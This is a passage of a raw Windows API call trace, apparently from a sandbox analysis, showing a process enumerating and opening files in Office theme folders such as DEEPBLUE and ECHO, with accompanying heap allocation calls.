ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0060.492] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0060.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfaa438 [0060.492] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfaa438, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfaa438, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0060.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0060.493] NtClose (Handle=0x190) returned 0x0 [0060.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0060.493] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0060.493] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.493] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0060.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7c70 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8558 [0060.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.493] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.493] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.493] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7c90 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8660 [0060.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.494] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7cb0 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8768 [0060.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.494] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7cd0 [0060.494] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8870 [0060.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.494] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.494] GetLastError () returned 0x12 [0060.494] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0060.495] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0060.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0060.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0060.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.495] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.495] GetLastError () returned 0x12 [0060.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0060.495] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0060.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0060.495] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.495] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0060.495] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0060.506] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0060.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfaa438 [0060.506] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfaa438, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfaa438, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0060.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0060.506] NtClose (Handle=0x184) returned 0x0 [0060.506] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0060.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0060.507] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.507] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7cf0 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0060.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.507] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7d10 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x780) returned 0xfaa438 [0060.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0060.507] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.507] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.507] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7d30 [0060.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8978 [0060.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.508] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0060.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7d50 [0060.508] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8a80 [0060.508] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0060.508] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.508] GetLastError () returned 0x12 [0060.508] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0060.508] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0060.508] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.508] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0060.508] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0060.508] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.508] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.508] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, 